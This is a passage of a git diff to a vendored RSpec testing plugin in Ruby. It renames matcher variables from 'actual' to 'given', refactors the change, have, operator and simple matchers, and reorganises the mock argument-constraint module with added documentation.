@@ -7,13 +7,13 @@ module Spec
@delta = delta
end
- def matches?(actual)
- @actual = actual
- (@actual - @expected).abs < @delta
+ def matches?(given)
+ @given = given
+ (@given - @expected).abs < @delta
end
def failure_message
- "expected #{@expected} +/- (< #{@delta}), got #{@actual}"
+ "expected #{@expected} +/- (< #{@delta}), got #{@given}"
end
def description
@@ -25,7 +25,7 @@ module Spec
# should be_close(expected, delta)
# should_not be_close(expected, delta)
#
- # Passes if actual == expected +/- delta
+ # Passes if given == expected +/- delta
#
# == Example
#
diff --git a/vendor/plugins/rspec/lib/spec/matchers/change.rb b/vendor/plugins/rspec/lib/spec/matchers/change.rb
index 8f4ecc18..d3a5f6c1 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/change.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/change.rb
@@ -4,60 +4,60 @@ module Spec
#Based on patch from Wilson Bilkovich
class Change #:nodoc:
def initialize(receiver=nil, message=nil, &block)
- @receiver = receiver
- @message = message
- @block = block
+ @message = message || "result"
+ @value_proc = block || lambda {
+ receiver.__send__(message)
+ }
end
- def matches?(target, &block)
- if block
- raise MatcherError.new(<<-EOF
-block passed to should or should_not change must use {} instead of do/end
-EOF
-)
- end
- @target = target
- execute_change
- return false if @from && (@from != @before)
- return false if @to && (@to != @after)
+ def matches?(event_proc)
+ raise_block_syntax_error if block_given?
+
+ @before = evaluate_value_proc
+ event_proc.call
+ @after = evaluate_value_proc
+
+ return false if @from unless @from == @before
+ return false if @to unless @to == @after
return (@before + @amount == @after) if @amount
return ((@after - @before) >= @minimum) if @minimum
return ((@after - @before) <= @maximum) if @maximum
return @before != @after
end
- def execute_change
- @before = @block.nil? ? @receiver.send(@message) : @block.call
- @target.call
- @after = @block.nil? ? @receiver.send(@message) : @block.call
+ def raise_block_syntax_error
+ raise MatcherError.new(<<-MESSAGE
+block passed to should or should_not change must use {} instead of do/end
+MESSAGE
+ )
+ end
+
+ def evaluate_value_proc
+ @value_proc.call
end
def failure_message
if @to
- "#{result} should have been changed to #{@to.inspect}, but is now #{@after.inspect}"
+ "#{@message} should have been changed to #{@to.inspect}, but is now #{@after.inspect}"
elsif @from
- "#{result} should have initially been #{@from.inspect}, but was #{@before.inspect}"
+ "#{@message} should have initially been #{@from.inspect}, but was #{@before.inspect}"
elsif @amount
- "#{result} should have been changed by #{@amount.inspect}, but was changed by #{actual_delta.inspect}"
+ "#{@message} should have been changed by #{@amount.inspect}, but was changed by #{actual_delta.inspect}"
elsif @minimum
- "#{result} should have been changed by at least #{@minimum.inspect}, but was changed by #{actual_delta.inspect}"
+ "#{@message} should have been changed by at least #{@minimum.inspect}, but was changed by #{actual_delta.inspect}"
elsif @maximum
- "#{result} should have been changed by at most #{@maximum.inspect}, but was changed by #{actual_delta.inspect}"
+ "#{@message} should have been changed by at most #{@maximum.inspect}, but was changed by #{actual_delta.inspect}"
else
- "#{result} should have changed, but is still #{@before.inspect}"
+ "#{@message} should have changed, but is still #{@before.inspect}"
end
end
- def result
- @message || "result"
- end
-
def actual_delta
@after - @before
end
def negative_failure_message
- "#{result} should not have changed, but did change from #{@before.inspect} to #{@after.inspect}"
+ "#{@message} should not have changed, but did change from #{@before.inspect} to #{@after.inspect}"
end
def by(amount)
@@ -125,20 +125,24 @@ EOF
# employee.develop_great_new_social_networking_app
# }.should change(employee, :title).from("Mail Clerk").to("CEO")
#
- # Evaluates +receiver.message+ or +block+ before and
- # after it evaluates the c object (generated by the lambdas in the examples above).
+ # Evaluates receiver.message or block before and after
+ # it evaluates the c object (generated by the lambdas in the examples
+ # above).
#
- # Then compares the values before and after the +receiver.message+ and
- # evaluates the difference compared to the expected difference.
+ # Then compares the values before and after the receiver.message
+ # and evaluates the difference compared to the expected difference.
#
- # == Warning
- # +should_not+ +change+ only supports the form with no subsequent calls to
- # +by+, +by_at_least+, +by_at_most+, +to+ or +from+.
+ # == WARNING
+ # should_not change only supports the form with no
+ # subsequent calls to by, by_at_least,
+ # by_at_most, to or from.
#
- # blocks passed to +should+ +change+ and +should_not+ +change+
- # must use the {} form (do/end is not supported)
- def change(target=nil, message=nil, &block)
- Matchers::Change.new(target, message, &block)
+ # blocks passed to shouldchange and should_not
+ # change must use the {} form (do/end is not
+ # supported).
+ #
+ def change(receiver=nil, message=nil, &block)
+ Matchers::Change.new(receiver, message, &block)
end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers/eql.rb b/vendor/plugins/rspec/lib/spec/matchers/eql.rb
index 280ca545..1985a91d 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/eql.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/eql.rb
@@ -6,17 +6,17 @@ module Spec
@expected = expected
end
- def matches?(actual)
- @actual = actual
- @actual.eql?(@expected)
+ def matches?(given)
+ @given = given
+ @given.eql?(@expected)
end
def failure_message
- return "expected #{@expected.inspect}, got #{@actual.inspect} (using .eql?)", @expected, @actual
+ return "expected #{@expected.inspect}, got #{@given.inspect} (using .eql?)", @expected, @given
end
def negative_failure_message
- return "expected #{@actual.inspect} not to equal #{@expected.inspect} (using .eql?)", @expected, @actual
+ return "expected #{@given.inspect} not to equal #{@expected.inspect} (using .eql?)", @expected, @given
end
def description
@@ -28,7 +28,7 @@ module Spec
# should eql(expected)
# should_not eql(expected)
#
- # Passes if actual and expected are of equal value, but not necessarily the same object.
+ # Passes if given and expected are of equal value, but not necessarily the same object.
#
# See http://www.ruby-doc.org/core/classes/Object.html#M001057 for more information about equality in Ruby.
#
diff --git a/vendor/plugins/rspec/lib/spec/matchers/equal.rb b/vendor/plugins/rspec/lib/spec/matchers/equal.rb
index 4bfc7495..e1361730 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/equal.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/equal.rb
@@ -6,17 +6,17 @@ module Spec
@expected = expected
end
- def matches?(actual)
- @actual = actual
- @actual.equal?(@expected)
+ def matches?(given)
+ @given = given
+ @given.equal?(@expected)
end
def failure_message
- return "expected #{@expected.inspect}, got #{@actual.inspect} (using .equal?)", @expected, @actual
+ return "expected #{@expected.inspect}, got #{@given.inspect} (using .equal?)", @expected, @given
end
def negative_failure_message
- return "expected #{@actual.inspect} not to equal #{@expected.inspect} (using .equal?)", @expected, @actual
+ return "expected #{@given.inspect} not to equal #{@expected.inspect} (using .equal?)", @expected, @given
end
def description
@@ -28,7 +28,7 @@ module Spec
# should equal(expected)
# should_not equal(expected)
#
- # Passes if actual and expected are the same object (object identity).
+ # Passes if given and expected are the same object (object identity).
#
# See http://www.ruby-doc.org/core/classes/Object.html#M001057 for more information about equality in Ruby.
#
diff --git a/vendor/plugins/rspec/lib/spec/matchers/exist.rb b/vendor/plugins/rspec/lib/spec/matchers/exist.rb
index a5a91113..b6fc0927 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/exist.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/exist.rb
@@ -1,17 +1,22 @@
module Spec
module Matchers
class Exist
- def matches? actual
- @actual = actual
- @actual.exist?
+ def matches?(given)
+ @given = given
+ @given.exist?
end
def failure_message
- "expected #{@actual.inspect} to exist, but it doesn't."
+ "expected #{@given.inspect} to exist, but it doesn't."
end
def negative_failure_message
- "expected #{@actual.inspect} to not exist, but it does."
+ "expected #{@given.inspect} to not exist, but it does."
end
end
+ # :call-seq:
+ # should exist
+ # should_not exist
+ #
+ # Passes if given.exist?
def exist; Exist.new; end
end
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers/has.rb b/vendor/plugins/rspec/lib/spec/matchers/has.rb
index 60199f54..6b412bbb 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/has.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/has.rb
@@ -7,8 +7,8 @@ module Spec
@args = args
end
- def matches?(target)
- target.send(predicate, *@args)
+ def matches?(given)
+ given.__send__(predicate, *@args)
end
def failure_message
diff --git a/vendor/plugins/rspec/lib/spec/matchers/have.rb b/vendor/plugins/rspec/lib/spec/matchers/have.rb
index 20abcdd5..e33af96c 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/have.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/have.rb
@@ -1,6 +1,5 @@
module Spec
module Matchers
-
class Have #:nodoc:
def initialize(expected, relativity=:exactly)
@expected = (expected == :no ? 0 : expected)
@@ -15,34 +14,22 @@ module Spec
}
end
- def method_missing(sym, *args, &block)
- @collection_name = sym
- if defined?(ActiveSupport::Inflector)
- @plural_collection_name = ActiveSupport::Inflector.pluralize(sym.to_s)
- elsif Object.const_defined?(:Inflector)
- @plural_collection_name = Inflector.pluralize(sym.to_s)
- end
- @args = args
- @block = block
- self
- end
-
def matches?(collection_owner)
if collection_owner.respond_to?(@collection_name)
- collection = collection_owner.send(@collection_name, *@args, &@block)
+ collection = collection_owner.__send__(@collection_name, *@args, &@block)
elsif (@plural_collection_name && collection_owner.respond_to?(@plural_collection_name))
- collection = collection_owner.send(@plural_collection_name, *@args, &@block)
+ collection = collection_owner.__send__(@plural_collection_name, *@args, &@block)
elsif (collection_owner.respond_to?(:length) || collection_owner.respond_to?(:size))
collection = collection_owner
else
- collection_owner.send(@collection_name, *@args, &@block)
+ collection_owner.__send__(@collection_name, *@args, &@block)
end
- @actual = collection.size if collection.respond_to?(:size)
- @actual = collection.length if collection.respond_to?(:length)
- raise not_a_collection if @actual.nil?
- return @actual >= @expected if @relativity == :at_least
- return @actual <= @expected if @relativity == :at_most
- return @actual == @expected
+ @given = collection.size if collection.respond_to?(:size)
+ @given = collection.length if collection.respond_to?(:length)
+ raise not_a_collection if @given.nil?
+ return @given >= @expected if @relativity == :at_least
+ return @given <= @expected if @relativity == :at_most
+ return @given == @expected
end
def not_a_collection
@@ -50,12 +37,12 @@ module Spec
end
def failure_message
- "expected #{relative_expectation} #{@collection_name}, got #{@actual}"
+ "expected #{relative_expectation} #{@collection_name}, got #{@given}"
end
def negative_failure_message
if @relativity == :exactly
- return "expected target not to have #{@expected} #{@collection_name}, got #{@actual}"
+ return "expected target not to have #{@expected} #{@collection_name}, got #{@given}"
elsif @relativity == :at_most
return <<-EOF
Isn't life confusing enough?
@@ -79,8 +66,22 @@ EOF
"have #{relative_expectation} #{@collection_name}"
end
+ def respond_to?(sym)
+ @expected.respond_to?(sym) || super
+ end
+
private
+ def method_missing(sym, *args, &block)
+ @collection_name = sym
+ if inflector = (defined?(ActiveSupport::Inflector) ? ActiveSupport::Inflector : (defined?(Inflector) ? Inflector : nil))
+ @plural_collection_name = inflector.pluralize(sym.to_s)
+ end
+ @args = args
+ @block = block
+ self
+ end
+
def relative_expectation
"#{relativities[@relativity]}#{@expected}"
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers/include.rb b/vendor/plugins/rspec/lib/spec/matchers/include.rb
index 5476f97d..183918a3 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/include.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/include.rb
@@ -7,10 +7,10 @@ module Spec
@expecteds = expecteds
end
- def matches?(actual)
- @actual = actual
+ def matches?(given)
+ @given = given
@expecteds.each do |expected|
- return false unless actual.include?(expected)
+ return false unless given.include?(expected)
end
true
end
@@ -29,7 +29,7 @@ module Spec
private
def _message(maybe_not="")
- "expected #{@actual.inspect} #{maybe_not}to include #{_pretty_print(@expecteds)}"
+ "expected #{@given.inspect} #{maybe_not}to include #{_pretty_print(@expecteds)}"
end
def _pretty_print(array)
@@ -51,7 +51,7 @@ module Spec
# should include(expected)
# should_not include(expected)
#
- # Passes if actual includes expected. This works for
+ # Passes if given includes expected. This works for
# collections and Strings. You can also pass in multiple args
# and it will only pass if all args are found in collection.
#
diff --git a/vendor/plugins/rspec/lib/spec/matchers/match.rb b/vendor/plugins/rspec/lib/spec/matchers/match.rb
index 61ab5242..dc3d5822 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/match.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/match.rb
@@ -2,26 +2,26 @@ module Spec
module Matchers
class Match #:nodoc:
- def initialize(expected)
- @expected = expected
+ def initialize(regexp)
+ @regexp = regexp
end
- def matches?(actual)
- @actual = actual
- return true if actual =~ @expected
+ def matches?(given)
+ @given = given
+ return true if given =~ @regexp
return false
end
def failure_message
- return "expected #{@actual.inspect} to match #{@expected.inspect}", @expected, @actual
+ return "expected #{@given.inspect} to match #{@regexp.inspect}", @regexp, @given
end
def negative_failure_message
- return "expected #{@actual.inspect} not to match #{@expected.inspect}", @expected, @actual
+ return "expected #{@given.inspect} not to match #{@regexp.inspect}", @regexp, @given
end
def description
- "match #{@expected.inspect}"
+ "match #{@regexp.inspect}"
end
end
@@ -29,7 +29,7 @@ module Spec
# should match(regexp)
# should_not match(regexp)
#
- # Given a Regexp, passes if actual =~ regexp
+ # Given a Regexp, passes if given =~ regexp
#
# == Examples
#
diff --git a/vendor/plugins/rspec/lib/spec/matchers/operator_matcher.rb b/vendor/plugins/rspec/lib/spec/matchers/operator_matcher.rb
index dd23a099..b1a34558 100755
--- a/vendor/plugins/rspec/lib/spec/matchers/operator_matcher.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/operator_matcher.rb
@@ -3,68 +3,74 @@ module Spec
class BaseOperatorMatcher
attr_reader :generated_description
- def initialize(target)
- @target = target
+ def initialize(given)
+ @given = given
end
def ==(expected)
@expected = expected
- __delegate_method_missing_to_target("==", expected)
+ __delegate_method_missing_to_given("==", expected)
end
def ===(expected)
@expected = expected
- __delegate_method_missing_to_target("===", expected)
+ __delegate_method_missing_to_given("===", expected)
end
def =~(expected)
@expected = expected
- __delegate_method_missing_to_target("=~", expected)
+ __delegate_method_missing_to_given("=~", expected)
end
def >(expected)
@expected = expected
- __delegate_method_missing_to_target(">", expected)
+ __delegate_method_missing_to_given(">", expected)
end
def >=(expected)
@expected = expected
- __delegate_method_missing_to_target(">=", expected)
+ __delegate_method_missing_to_given(">=", expected)
end
def <(expected)
@expected = expected
- __delegate_method_missing_to_target("<", expected)
+ __delegate_method_missing_to_given("<", expected)
end
def <=(expected)
@expected = expected
- __delegate_method_missing_to_target("<=", expected)
+ __delegate_method_missing_to_given("<=", expected)
end
def fail_with_message(message)
- Spec::Expectations.fail_with(message, @expected, @target)
+ Spec::Expectations.fail_with(message, @expected, @given)
+ end
+
+ def description
+ "#{@operator} #{@expected.inspect}"
end
end
class PositiveOperatorMatcher < BaseOperatorMatcher #:nodoc:
- def __delegate_method_missing_to_target(operator, expected)
- ::Spec::Matchers.generated_description = "should #{operator} #{expected.inspect}"
- return if @target.send(operator, expected)
- return fail_with_message("expected: #{expected.inspect},\n got: #{@target.inspect} (using #{operator})") if ['==','===', '=~'].include?(operator)
- return fail_with_message("expected: #{operator} #{expected.inspect},\n got: #{operator.gsub(/./, ' ')} #{@target.inspect}")
+ def __delegate_method_missing_to_given(operator, expected)
+ @operator = operator
+ ::Spec::Matchers.last_matcher = self
+ return true if @given.__send__(operator, expected)
+ return fail_with_message("expected: #{expected.inspect},\n got: #{@given.inspect} (using #{operator})") if ['==','===', '=~'].include?(operator)
+ return fail_with_message("expected: #{operator} #{expected.inspect},\n got: #{operator.gsub(/./, ' ')} #{@given.inspect}")
end
end
class NegativeOperatorMatcher < BaseOperatorMatcher #:nodoc:
- def __delegate_method_missing_to_target(operator, expected)
- ::Spec::Matchers.generated_description = "should not #{operator} #{expected.inspect}"
- return unless @target.send(operator, expected)
- return fail_with_message("expected not: #{operator} #{expected.inspect},\n got: #{operator.gsub(/./, ' ')} #{@target.inspect}")
+ def __delegate_method_missing_to_given(operator, expected)
+ @operator = operator
+ ::Spec::Matchers.last_matcher = self
+ return true unless @given.__send__(operator, expected)
+ return fail_with_message("expected not: #{operator} #{expected.inspect},\n got: #{operator.gsub(/./, ' ')} #{@given.inspect}")
end
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers/raise_error.rb b/vendor/plugins/rspec/lib/spec/matchers/raise_error.rb
index c003849b..fcd76ca3 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/raise_error.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/raise_error.rb
@@ -1,27 +1,27 @@
module Spec
module Matchers
class RaiseError #:nodoc:
- def initialize(error_or_message=Exception, message=nil, &block)
+ def initialize(expected_error_or_message=Exception, expected_message=nil, &block)
@block = block
- case error_or_message
+ case expected_error_or_message
when String, Regexp
- @expected_error, @expected_message = Exception, error_or_message
+ @expected_error, @expected_message = Exception, expected_error_or_message
else
- @expected_error, @expected_message = error_or_message, message
+ @expected_error, @expected_message = expected_error_or_message, expected_message
end
end
- def matches?(proc)
+ def matches?(given_proc)
@raised_expected_error = false
@with_expected_message = false
@eval_block = false
@eval_block_passed = false
begin
- proc.call
- rescue @expected_error => @actual_error
+ given_proc.call
+ rescue @expected_error => @given_error
@raised_expected_error = true
@with_expected_message = verify_message
- rescue Exception => @actual_error
+ rescue Exception => @given_error
# This clause should be empty, but rcov will not report it as covered
# unless something (anything) is executed within the clause
rcov_error_report = "http://eigenclass.org/hiki.rb?rcov-0.8.0"
@@ -37,10 +37,10 @@ module Spec
def eval_block
@eval_block = true
begin
- @block[@actual_error]
+ @block[@given_error]
@eval_block_passed = true
rescue Exception => err
- @actual_error = err
+ @given_error = err
end
end
@@ -49,22 +49,22 @@ module Spec
when nil
return true
when Regexp
- return @expected_message =~ @actual_error.message
+ return @expected_message =~ @given_error.message
else
- return @expected_message == @actual_error.message
+ return @expected_message == @given_error.message
end
end
def failure_message
if @eval_block
- return @actual_error.message
+ return @given_error.message
else
- return "expected #{expected_error}#{actual_error}"
+ return "expected #{expected_error}#{given_error}"
end
end
def negative_failure_message
- "expected no #{expected_error}#{actual_error}"
+ "expected no #{expected_error}#{given_error}"
end
def description
@@ -83,8 +83,8 @@ module Spec
end
end
- def actual_error
- @actual_error.nil? ? " but nothing was raised" : ", got #{@actual_error.inspect}"
+ def given_error
+ @given_error.nil? ? " but nothing was raised" : ", got #{@given_error.inspect}"
end
def negative_expectation?
diff --git a/vendor/plugins/rspec/lib/spec/matchers/respond_to.rb b/vendor/plugins/rspec/lib/spec/matchers/respond_to.rb
index 3d23422a..560cdea3 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/respond_to.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/respond_to.rb
@@ -7,9 +7,10 @@ module Spec
@names_not_responded_to = []
end
- def matches?(target)
+ def matches?(given)
+ @given = given
@names.each do |name|
- unless target.respond_to?(name)
+ unless given.respond_to?(name)
@names_not_responded_to << name
end
end
@@ -17,11 +18,11 @@ module Spec
end
def failure_message
- "expected target to respond to #{@names_not_responded_to.collect {|name| name.inspect }.join(', ')}"
+ "expected #{@given.inspect} to respond to #{@names_not_responded_to.collect {|name| name.inspect }.join(', ')}"
end
def negative_failure_message
- "expected target not to respond to #{@names.collect {|name| name.inspect }.join(', ')}"
+ "expected #{@given.inspect} not to respond to #{@names.collect {|name| name.inspect }.join(', ')}"
end
def description
diff --git a/vendor/plugins/rspec/lib/spec/matchers/satisfy.rb b/vendor/plugins/rspec/lib/spec/matchers/satisfy.rb
index 6c0ca95b..3610453d 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/satisfy.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/satisfy.rb
@@ -6,18 +6,18 @@ module Spec
@block = block
end
- def matches?(actual, &block)
+ def matches?(given, &block)
@block = block if block
- @actual = actual
- @block.call(actual)
+ @given = given
+ @block.call(given)
end
def failure_message
- "expected #{@actual} to satisfy block"
+ "expected #{@given} to satisfy block"
end
def negative_failure_message
- "expected #{@actual} not to satisfy block"
+ "expected #{@given} not to satisfy block"
end
end
diff --git a/vendor/plugins/rspec/lib/spec/matchers/simple_matcher.rb b/vendor/plugins/rspec/lib/spec/matchers/simple_matcher.rb
index ac547d06..7588ecbb 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/simple_matcher.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/simple_matcher.rb
@@ -1,29 +1,132 @@
module Spec
module Matchers
class SimpleMatcher
- attr_reader :description
+ attr_writer :failure_message, :negative_failure_message, :description
def initialize(description, &match_block)
@description = description
@match_block = match_block
end
- def matches?(actual)
- @actual = actual
- return @match_block.call(@actual)
+ def matches?(given)
+ @given = given
+ case @match_block.arity
+ when 2
+ @match_block.call(@given, self)
+ else
+ @match_block.call(@given)
+ end
+ end
+
+ def description
+ @description || explanation
end
- def failure_message()
- return %[expected #{@description.inspect} but got #{@actual.inspect}]
+ def failure_message
+ @failure_message || (@description.nil? ? explanation : %[expected #{@description.inspect} but got #{@given.inspect}])
end
-
- def negative_failure_message()
- return %[expected not to get #{@description.inspect}, but got #{@actual.inspect}]
+
+ def negative_failure_message
+ @negative_failure_message || (@description.nil? ? explanation : %[expected not to get #{@description.inspect}, but got #{@given.inspect}])
+ end
+
+ def explanation
+ "No description provided. See RDoc for simple_matcher()"
end
end
-
- def simple_matcher(message, &match_block)
- SimpleMatcher.new(message, &match_block)
+
+ # simple_matcher makes it easy for you to create your own custom matchers
+ # in just a few lines of code when you don't need all the power of a
+ # completely custom matcher object.
+ #
+ # The description argument will appear as part of any failure
+ # message, and is also the source for auto-generated descriptions.
+ #
+ # The match_block can have an arity of 1 or 2. The first block
+ # argument will be the given value. The second, if the block accepts it
+ # will be the matcher itself, giving you access to set custom failure
+ # messages in favor of the defaults.
+ #
+ # The match_block should return a boolean: true
+ # indicates a match, which will pass if you use should and fail
+ # if you use should_not. false (or nil) indicates no match,
+ # which will do the reverse: fail if you use should and pass if
+ # you use should_not.
+ #
+ # An error in the match_block will bubble up, resulting in a
+ # failure.
+ #
+ # == Example with default messages
+ #
+ # def be_even
+ # simple_matcher("an even number") { |given| given % 2 == 0 }
+ # end
+ #
+ # describe 2 do
+ # it "should be even" do
+ # 2.should be_even
+ # end
+ # end
+ #
+ # Given an odd number, this example would produce an error message stating:
+ # expected "an even number", got 3.
+ #
+ # Unfortunately, if you're a fan of auto-generated descriptions, this will
+ # produce "should an even number." Not the most desirable result. You can
+ # control that using custom messages:
+ #
+ # == Example with custom messages
+ #
+ # def rhyme_with(expected)
+ # simple_matcher("rhyme with #{expected.inspect}") do |given, matcher|
+ # matcher.failure_message = "expected #{given.inspect} to rhyme with #{expected.inspect}"
+ # matcher.negative_failure_message = "expected #{given.inspect} not to rhyme with #{expected.inspect}"
+ # given.rhymes_with? expected
+ # end
+ # end
+ #
+ # # OR
+ #
+ # def rhyme_with(expected)
+ # simple_matcher do |given, matcher|
+ # matcher.description = "rhyme with #{expected.inspect}"
+ # matcher.failure_message = "expected #{given.inspect} to rhyme with #{expected.inspect}"
+ # matcher.negative_failure_message = "expected #{given.inspect} not to rhyme with #{expected.inspect}"
+ # given.rhymes_with? expected
+ # end
+ # end
+ #
+ # describe "pecan" do
+ # it "should rhyme with 'be gone'" do
+ # nut = "pecan"
+ # nut.extend Rhymer
+ # nut.should rhyme_with("be gone")
+ # end
+ # end
+ #
+ # The resulting messages would be:
+ # description: rhyme with "be gone"
+ # failure_message: expected "pecan" to rhyme with "be gone"
+ # negative failure_message: expected "pecan" not to rhyme with "be gone"
+ #
+ # == Wrapped Expectations
+ #
+ # Because errors will bubble up, it is possible to wrap other expectations
+ # in a SimpleMatcher.
+ #
+ # def be_even
+ # simple_matcher("an even number") { |given| (given % 2).should == 0 }
+ # end
+ #
+ # BE VERY CAREFUL when you do this. Only use wrapped expectations for
+ # matchers that will always be used in only the positive
+ # (should) or negative (should_not), but not both.
+ # The reason is that is you wrap a should and call the wrapper
+ # with should_not, the correct result (the should
+ # failing), will fail when you want it to pass.
+ #
+ def simple_matcher(description=nil, &match_block)
+ SimpleMatcher.new(description, &match_block)
end
end
end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/lib/spec/matchers/throw_symbol.rb b/vendor/plugins/rspec/lib/spec/matchers/throw_symbol.rb
index c74d8443..12a9c19f 100644
--- a/vendor/plugins/rspec/lib/spec/matchers/throw_symbol.rb
+++ b/vendor/plugins/rspec/lib/spec/matchers/throw_symbol.rb
@@ -7,9 +7,9 @@ module Spec
@actual = nil
end
- def matches?(proc)
+ def matches?(given_proc)
begin
- proc.call
+ given_proc.call
rescue NameError => e
raise e unless e.message =~ /uncaught throw/
@actual = e.name.to_sym
@@ -56,7 +56,7 @@ module Spec
# should_not throw_symbol()
# should_not throw_symbol(:sym)
#
- # Given a Symbol argument, matches if a proc throws the specified Symbol.
+ # Given a Symbol argument, matches if the given proc throws the specified Symbol.
#
# Given no argument, matches if a proc throws any Symbol.
#
diff --git a/vendor/plugins/rspec/lib/spec/mocks.rb b/vendor/plugins/rspec/lib/spec/mocks.rb
index 678dd6aa..df993e63 100644
--- a/vendor/plugins/rspec/lib/spec/mocks.rb
+++ b/vendor/plugins/rspec/lib/spec/mocks.rb
@@ -1,16 +1,5 @@
require 'spec/mocks/framework'
-require 'spec/mocks/methods'
-require 'spec/mocks/argument_constraint_matchers'
-require 'spec/mocks/spec_methods'
-require 'spec/mocks/proxy'
-require 'spec/mocks/mock'
-require 'spec/mocks/argument_expectation'
-require 'spec/mocks/message_expectation'
-require 'spec/mocks/order_group'
-require 'spec/mocks/errors'
-require 'spec/mocks/error_generator'
require 'spec/mocks/extensions/object'
-require 'spec/mocks/space'
module Spec
# == Mocks and Stubs
diff --git a/vendor/plugins/rspec/lib/spec/mocks/argument_constraint_matchers.rb b/vendor/plugins/rspec/lib/spec/mocks/argument_constraint_matchers.rb
deleted file mode 100644
index 96ccf0f4..00000000
--- a/vendor/plugins/rspec/lib/spec/mocks/argument_constraint_matchers.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-module Spec
- module Mocks
- module ArgumentConstraintMatchers
-
- # Shortcut for creating an instance of Spec::Mocks::DuckTypeArgConstraint
- def duck_type(*args)
- DuckTypeArgConstraint.new(*args)
- end
-
- def any_args
- AnyArgsConstraint.new
- end
-
- def anything
- AnyArgConstraint.new(nil)
- end
-
- def boolean
- BooleanArgConstraint.new(nil)
- end
-
- def hash_including(expected={})
- HashIncludingConstraint.new(expected)
- end
-
- def no_args
- NoArgsConstraint.new
- end
- end
- end
-end
diff --git a/vendor/plugins/rspec/lib/spec/mocks/argument_constraints.rb b/vendor/plugins/rspec/lib/spec/mocks/argument_constraints.rb
new file mode 100644
index 00000000..6f888b3d
--- /dev/null
+++ b/vendor/plugins/rspec/lib/spec/mocks/argument_constraints.rb
@@ -0,0 +1,165 @@
+module Spec
+ module Mocks
+
+ # ArgumentConstraints are messages that you can include in message
+ # expectations to match arguments against a broader check than simple
+ # equality.
+ #
+ # With the exception of any_args() and no_args(), the constraints
+ # are all positional - they match against the arg in the given position.
+ module ArgumentConstraints
+
+ class AnyArgsConstraint
+ def description
+ "any args"
+ end
+ end
+
+ class AnyArgConstraint
+ def initialize(ignore)
+ end
+
+ def ==(other)
+ true
+ end
+ end
+
+ class NoArgsConstraint
+ def description
+ "no args"
+ end
+
+ def ==(args)
+ args == []
+ end
+ end
+
+ class RegexpConstraint
+ def initialize(regexp)
+ @regexp = regexp
+ end
+
+ def ==(value)
+ return value =~ @regexp unless value.is_a?(Regexp)
+ value == @regexp
+ end
+ end
+
+ class BooleanConstraint
+ def initialize(ignore)
+ end
+
+ def ==(value)
+ TrueClass === value || FalseClass === value
+ end
+ end
+
+ class HashIncludingConstraint
+ def initialize(expected)
+ @expected = expected
+ end
+
+ def ==(actual)
+ @expected.each do | key, value |
+ return false unless actual.has_key?(key) && value == actual[key]
+ end
+ true
+ rescue NoMethodError => ex
+ return false
+ end
+
+ def description
+ "hash_including(#{@expected.inspect.sub(/^\{/,"").sub(/\}$/,"")})"
+ end
+ end
+
+ class DuckTypeConstraint
+ def initialize(*methods_to_respond_to)
+ @methods_to_respond_to = methods_to_respond_to
+ end
+
+ def ==(value)
+ @methods_to_respond_to.all? { |sym| value.respond_to?(sym) }
+ end
+ end
+
+ class MatcherConstraint
+ def initialize(matcher)
+ @matcher = matcher
+ end
+
+ def ==(value)
+ @matcher.matches?(value)
+ end
+ end
+
+ class EqualityProxy
+ def initialize(given)
+ @given = given
+ end
+
+ def ==(expected)
+ @given == expected
+ end
+ end
+
+ # :call-seq:
+ # object.should_receive(:message).with(any_args())
+ #
+ # Passes if object receives :message with any args at all. This is
+ # really a more explicit variation of object.should_receive(:message)
+ def any_args
+ AnyArgsConstraint.new
+ end
+
+ # :call-seq:
+ # object.should_receive(:message).with(anything())
+ #
+ # Passes as long as there is an argument.
+ def anything
+ AnyArgConstraint.new(nil)
+ end
+
+ # :call-seq:
+ # object.should_receive(:message).with(no_args)
+ #
+ # Passes if no arguments are passed along with the message
+ def no_args
+ NoArgsConstraint.new
+ end
+
+ # :call-seq:
+ # object.should_receive(:message).with(duck_type(:hello))
+ # object.should_receive(:message).with(duck_type(:hello, :goodbye))
+ #
+ # Passes if the argument responds to the specified messages.
+ #
+ # == Examples
+ #
+ # array = []
+ # display = mock('display')
+ # display.should_receive(:present_names).with(duck_type(:length, :each))
+ # => passes
+ def duck_type(*args)
+ DuckTypeConstraint.new(*args)
+ end
+
+ # :call-seq:
+ # object.should_receive(:message).with(boolean())
+ #
+ # Passes if the argument is boolean.
+ def boolean
+ BooleanConstraint.new(nil)
+ end
+
+ # :call-seq:
+ # object.should_receive(:message).with(hash_including(:this => that))
+ #
+ # Passes if the argument is a hash that includes the specified key/value
+ # pairs. If the hash includes other keys, it will still pass.
+ def hash_including(expected={})
+ HashIncludingConstraint.new(expected)
+ end
+ end
+ end
+end
diff --git a/vendor/plugins/rspec/lib/spec/mocks/argument_expectation.rb b/vendor/plugins/rspec/lib/spec/mocks/argument_expectation.rb
index 4f2e9538..096c47ae 100644
--- a/vendor/plugins/rspec/lib/spec/mocks/argument_expectation.rb
